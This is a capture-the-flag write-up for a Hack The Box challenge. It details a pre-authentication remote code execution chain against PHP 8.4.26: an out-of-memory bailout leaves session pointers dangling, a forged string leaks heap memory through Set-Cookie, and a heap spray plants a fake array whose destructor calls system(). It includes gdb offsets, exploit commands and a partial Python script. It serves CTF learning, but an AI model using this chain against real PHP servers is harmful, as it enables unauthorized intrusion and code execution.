Dark Embargo WriteUp
Table of Contents
Dark Embargo is a ๐ง Medium challenge from the Web category of Hack The Box, created by TheCyberGeek. And I say “Web” with air quotes, because there is barely any web here. We get a single static corporate page, no forms, no parameters, with a “maintenance mode” banner. The only lead they hand us is the X-Powered-By header. The real target is not the application, it is the PHP running underneath it.
That PHP is version 8.4.26, the last release that still carries the session.upload_progress bug known as PHP2Shell (CVE-2026-109618 and CVE-2026-109619). The idea is easy to tell and hard to pull off. We force an out-of-memory condition at the worst possible moment, PHP aborts without cleaning up and leaves us two pointers aimed at freed memory. One we turn into a leak that defeats ASLR, the other into a fake object whose “destructor” ends up being system(). All of it unauthenticated.
๐ง Honest heads up. This is real memory corruption. We are going to stand up an identical local replica and use
gdbto recover the offsets, exactly like anyone who wants to understand what is going on instead of copying numbers blindly.
๐บ๏ธ Strategy
PHP 8.4.26 + Apache mod_php (prefork, multi-worker, KeepAlive On)
โ
โ (1) nested multipart upload that blows past memory_limit
โผ
OOM -> zend_bailout() skips cleanup
โ PS(id) and PS($_SESSION) left dangling (use-after-free)
โผ
(2) LEAK: reoccupy the freed id with a zend_string of huge len
โ the Set-Cookie dumps ~600 KB of heap
โ -> ZendMM chunk base + libphp.so base
โผ
(3) FIRE: reoccupy $_SESSION with a fake reference
โ points at a fake zend_array whose pDestructor = zif_system
โผ
teardown -> pDestructor(cmd) -> system("cat /flag.txt > webroot")
โผ
Flag -> HTB{...}
The whole chain rides on a single keep-alive connection so it always lands on the same worker, but we get to that at the end.
๐ฆ Recon
Spawning the challenge gives us a host and little else. The page is a corporate brochure with nothing to touch.
curl -s -I http://TARGET:PORT/
HTTP/1.1 200 OK
Server: Apache/2.4.69 (Debian)
X-Powered-By: PHP/8.4.26
There is our lead. PHP/8.4.26. When the application gives you nothing, you go after the runtime that serves it.
The challenge ships a .zip with the full build, so we do not have to guess the configuration. We unzip it and read the Dockerfile.
unzip -o web_dark_embargo.zip && cat web_dark_embargo/Dockerfile
FROM php:8.4.26-apache
COPY --chown=www-data:www-data index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0777 /flag.txt
EXPOSE 80
Two things stand out. The image is the official php:8.4.26-apache with no custom php.ini, so every setting is a compiled-in default. And index.php holds not a single line of PHP, it is plain HTML.
grep -c '<?php' web_dark_embargo/index.php
0
The web is a decoy. The real target is PHP 8.4.26 on its defaults, and four of those defaults are the ones that open the door. memory_limit = 128M, session.upload_progress.enabled = On, an empty session.save_path that falls back to /tmp, and display_errors = Off on the web SAPI (which means nothing we do shows up on the page).
๐ The bug: an OOM at the worst moment
session.upload_progress is a feature for drawing upload progress bars. You put a PHP_SESSION_UPLOAD_PROGRESS field in a multipart form, send a PHPSESSID cookie, and PHP keeps track of how far the upload got so a second request can poll it. The key part is that this runs inside the multipart parser (main/rfc1867.c), before any script runs. In other words, it is a pre-auth code path we reach without the server holding a single line of our PHP.
So where is the flaw? PHP caps memory per request with memory_limit. Cross it and the Zend memory manager does not return NULL like a normal malloc, it raises a fatal error and calls zend_bailout(), which is a longjmp back to the top of the request handler.
That jump skips the request’s normal teardown. The session module never clears its globals and the memory manager just resets its bookkeeping. The result is that the two pointers the session was holding, the session id and the $_SESSION array, are left pointing at a piece of heap that is now free. They dangle.
๐ง The heart of the bug. If we shape an upload that allocates the session objects and then crosses
memory_limiton the next allocation, the worker is left in that broken state. And since Apache’spreforkchildren are long-lived, it persists in that child until the memory is reused. From here, the whole job is turning those two dangling pointers into asystem()call.
We can watch it live. We slowly upload a large file with curl and read the session file mid-stream.
head -c 5M /dev/zero > /tmp/big
curl -s -b 'PHPSESSID=demo' \
-F 'PHP_SESSION_UPLOAD_PROGRESS=x' \
-F 'file=@/tmp/big' \
--limit-rate 80k http://127.0.0.1:8083/index.php &
sleep 2
docker exec dark_embargo cat /tmp/sess_demo
upload_progress_x|a:5:{s:10:"start_time";...;s:15:"bytes_processed";i:164085;s:4:"done";b:0; ...
The "done";b:0 confirms we caught the upload mid-flight. That pre-auth path that allocates and frees heap objects from data we control is exactly what we need.
๐ ๏ธ A lab with gdb
None of this is visible from outside, so we stand up an identical copy of the image with a debugger attached. Here comes a detail that cost me hours and that no public PoC mentions, so hang on to it.
โ ๏ธ The current
php:8.4.26-apacheimage is Debian trixie, not bookworm. Every PoC going around (9bie, dinosn, devploit, oreoo) is calibrated for bookworm. Thelibphp.sooffsets match, but the ZendMM heap geometry over trixie’smallocis different, so none of them land as-is. We have to recalibrate. That is exactly why we stand up the lab and usegdb, to recover OUR numbers.
We run the image with the ptrace capability and a single worker to get a predictable process while we reverse.
docker build -q -t dark_embargo web_dark_embargo/
printf 'StartServers 1\nMinSpareServers 1\nMaxSpareServers 1\nMaxRequestWorkers 1\nServerLimit 1\n' > mpm1.conf
docker run -d --name dark_dbg -p 127.0.0.1:8088:80 \
--cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
-v "$PWD/mpm1.conf:/etc/apache2/mods-available/mpm_prefork.conf" \
dark_embargo
docker exec dark_dbg bash -c 'apt-get update -qq && apt-get install -y gdb >/dev/null'
๐งฉ Exploitation
Step 1. The offsets, with gdb and not by eye
We want to reach zif_system, the C implementation of PHP’s system(). We also need zval_ptr_dtor (a known pointer that works as a landmark for the leak) and ps_globals (the struct with the session pointers). The image’s libphp.so has no debug info, but it still carries its symbol table, so gdb resolves them straight from the file.
docker exec dark_dbg gdb -q -batch -iex 'set auto-load safe-path /' \
-ex 'info address zif_system' \
-ex 'info address zval_ptr_dtor' \
-ex 'info address ps_globals' \
/usr/lib/apache2/modules/libphp.so
Symbol "zif_system" is at 0x465370
Symbol "zval_ptr_dtor" is at 0x65eb60
Symbol "ps_globals" is at 0x1316820
These are offsets relative to the load base of libphp.so. Inside ps_globals, the session id sits at +0x10 and $_SESSION at +0x168 (the php_session.h header says so).
Step 2. Force the OOM and see the dangling pointers
To cross memory_limit without sending 128 MB over the wire, we abuse how the parser stores nested file fields. A name like files[R00000][a][a]...[a] makes PHP build a chain of nested arrays in $_FILES, and with filename="" no temp file is created but every inner HashTable is still allocated. A few hundred fields at 64 levels deep push the heap past 128 MB with a body of only a few hundred KB.
We set a breakpoint on _zend_bailout, send the upload and look at the backtrace.
# arm (nested OOM): 880 files[R..][a]x62 fields + 115 fillers + the 2 session fields
#0 _zend_bailout ()
#5 zend_mm_safe_error ()
#6 zend_mm_alloc_pages[cold] ()
#7 zend_mm_alloc_small_slow ()
Read bottom-up. A small allocation needs a fresh page, the page allocation crosses the limit and PHP turns it into a fatal that jumps with longjmp. The request dies there, before cleanup. That is the use-after-free.
Now we let the worker finish bailing and read the two session zval from ps_globals.
docker exec dark_dbg gdb -q -batch -iex 'set auto-load safe-path /' -p "$WORKER" \
-ex 'printf "id.value = 0x%lx\n", *(unsigned long*)((char*)&ps_globals + 0x10)' \
-ex 'printf "hsv.value = 0x%lx\n", *(unsigned long*)((char*)&ps_globals + 0x168)'
id.value = 0x7ba7e88640c0 (chunk + 0x640c0)
hsv.value = 0x7ba7e887a720 (chunk + 0x7a720)
chunk_base = 0x7ba7e8800000
Both pointers fall in the same 2 MB ZendMM chunk. And since a chunk is always 2 MB aligned, any pointer inside it masked with & ~0x1fffff gives us the chunk base. This is key for the leak. The freed id lives at chunk + 0x640c0 and the freed $_SESSION at chunk + 0x7a720. Two stable offsets for this build.
๐ก Notice the chunk base is
0x7ba7..., well below the usual0x7fff.... ASLR can place the chunk anywhere in the canonical user range, so the leak decoder must not assume a fixed prefix. Assuming0x7f...is exactly what makes these leaks flaky, and I burned a few hours on that badly placed filter.
Step 3. Defeating ASLR through the Set-Cookie
Before forging any pointer we need to know where the heap and libphp.so sit this boot. Since the server returns no output, we make PHP leak its own memory in a header.
When PHP finishes a request it may send Set-Cookie: PHPSESSID=<id>. That id is a zend_string and PHP encodes it with php_url_encode(). The id we left dangling is also a zend_string, so if we reoccupy it with a fake header whose length field is ~600,000, php_url_encode() reads 600 KB of neighbouring heap and drops it into the Set-Cookie header. A 600 KB heap disclosure in a single request.
The fine detail that makes this shine is that we fill those 600 KB with real zend_array objects by injecting fields like z0[0]=aaaa. Why? Because each zend_array keeps in its pDestructor field a pointer to zval_ptr_dtor, which lives in libphp.so. With hundreds of arrays in the window, the leak brings back hundreds of copies of the same libphp pointer.
We decode the cookie eight bytes at a time. The 2 MB aligned value that appears most often is the chunk base. And any value whose low 12 bits match the page offset of zval_ptr_dtor (0xb60) and that sits at a plausible distance from the chunk is a pointer to that function, which gives us the libphp base as value - 0x65eb60.
[+] leak ok: cookie=600008B ptrs=17536 REAL_dtor=533
chunk = 0x7ba7e8800000
libphp = 0x7ba7ea44f000 (delta +0x1c4f000)
533 copies of the real zval_ptr_dtor in the window. We check that the libphp base it yields matches exactly the one gdb read from ps_globals. ASLR defeated over the wire, with no normal output channel.
Step 4. The fake object and the fire
Now we reoccupy the freed $_SESSION (chunk + 0x7a720) and point it at a fake zend_array whose destructor is system(). The reclaim is a spray. We send a request full of fields whose bytes we control so PHP allocates many same-sized objects into the freed $_SESSION’s bin, until one lands on the hole.
Each spray value carries a fake zend_reference every 32 bytes, and all of them point at a 384-byte fake zend_array we also place in the spray. That fake array has:
pDestructorset tozif_system(libphp + 0x465370).- a fake bucket whose argument is a fake
zend_stringholding our command.
When PHP tears down that reoccupied $_SESSION, it walks zend_reference_destroy -> zend_array_destroy -> zend_hash_destroy -> pDestructor(&bucket), and pDestructor is zif_system, which runs our command.
zend_reference_destroy
-> zend_array_destroy
-> zend_hash_destroy -> pDestructor(&bucket)
-> php_exec -> popen("our command")
The address of the fake array is the last number we need, we call it S. Since after the OOM the memory manager refills the freed region in a repeatable order, that block lands at the same chunk-relative offset every time. With gdb we put a breakpoint on popen and sweep S until it trips with our command. On this build, S = chunk + 0xF5398.
Breakpoint, popen () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) x/s $rdi
0x7ba7e88f5430: "id>/tmp/p1"
(gdb) bt 6
#0 popen ()
#1 php_exec ()
#3 zend_hash_destroy ()
#4 zend_array_destroy ()
#5 zend_reference_destroy ()
That backtrace is the whole exploit read bottom-up. Our fake reference reoccupies $_SESSION, points at our fake array at S, its pDestructor is zif_system and it ends in popen("id>/tmp/p1"). The command runs as www-data.
Step 5. The real target is multi-worker
In the lab we forced a single worker to reverse. The real target uses the default prefork pool, with many workers and KeepAlive on. And here is the other detail no PoC talks about.
Every request in the chain (the leak, the arm, the fire) has to land on the same child to share heap and dangling pointers. The official writeup solves this by saturating the pool with 149 slow uploads that never finish, leaving a single worker free. I liked another path better, cleaner and more reliable.
๐ง Trick: a single keep-alive connection. In
prefork, a keep-alive connection is served by the same child for its whole lifetime. So if we send leak, arm and fire over the same socket, they all land on the same worker with no need to tie up the others. And since the children inherit the parent’s address space through copy-on-write, ASLR is stable across that whole boot, so the base we leak is valid for any worker.
With that, we glue the three phases into a single script. The leak sometimes needs a couple of tries and the fire too, so we iterate. The OOM bailout corrupts nothing, the worker survives, and the fire lands on the first or second attempt.
#!/usr/bin/env python3
# dark_embargo.py (chain summary, offsets for this trixie build)
ZIF, DTOR, S_OFF = 0x465370, 0x65eb60, 0xF5398
def leak(sock):
# arm (OOM at send_cookie) + consumer: forged zend_string len=600000
# + ~300 injected zend_array -> 600 KB window in the Set-Cookie
# decode: chunk = most frequent 2MB-aligned value
# libphp = value with low12==0xb60 and delta in [0x1A00000, 0x1F00000]
...
def fire(sock, chunk, libphp):
S = chunk + S_OFF # fake array
zif = libphp + ZIF # pDestructor = system()
# arm (cheap_oom) -> $_SESSION dangles
# spray: 500 + ht + 495 values of 384B, fake zend_reference/32B -> S
...
# everything over one keep-alive socket = same worker = same heap
The final command is the easy part. The box has no outbound network, so instead of a reverse shell we write the flag into the webroot (writable by www-data) and read it back over HTTP.
python3 dark_embargo.py TARGET PORT 'cat /flag.txt > /var/www/html/fx'
curl -s http://TARGET:PORT/fx
[*] target TARGET:PORT cmd=b'cat /flag.txt > /var/www/html/fx'
[+] leak ok (try 1): chunk=0x7fab4a000000 libphp=0x7fab4bc1b000
[*] S=0x7fab4a0f5398 zif_system=0x7fab4c080370
[+] RCE confirmed on fire attempt 1
PROOF: HTB{...}
Leak on the first try, fire on the first try. Full pre-auth RCE against a box that only served a static page.
๐ฉ Flag
HTB{...}
๐ Summary
| # | Step | Tool | Result |
|---|---|---|---|
| 1 | Fingerprint | curl -I | X-Powered-By: PHP/8.4.26 over Apache mod_php |
| 2 | Review the build | Dockerfile | Official image, defaults, 128M, upload_progress On, display_errors Off |
| 3 | Recover offsets | gdb on libphp.so | zif_system, zval_ptr_dtor, ps_globals (mind the trixie image) |
| 4 | Force the OOM | nested multipart upload | zend_bailout, PS(id) and $_SESSION dangling |
| 5 | ASLR leak | forged zend_string + arrays | 600 KB via Set-Cookie -> chunk + libphp |
| 6 | Fire | fake zend_reference + zend_array | pDestructor = zif_system -> system() |
| 7 | Pin the worker | one keep-alive connection | leak + arm + fire on the same child |
| 8 | Exfiltration | write to webroot + curl | Flag ๐ฉ |
A “Web” challenge that is really a memory corruption exploitation exercise from start to finish. If you followed the why behind each step, you now understand PHP2Shell better than most of the scripts floating around out there.
See you in the next challenge.






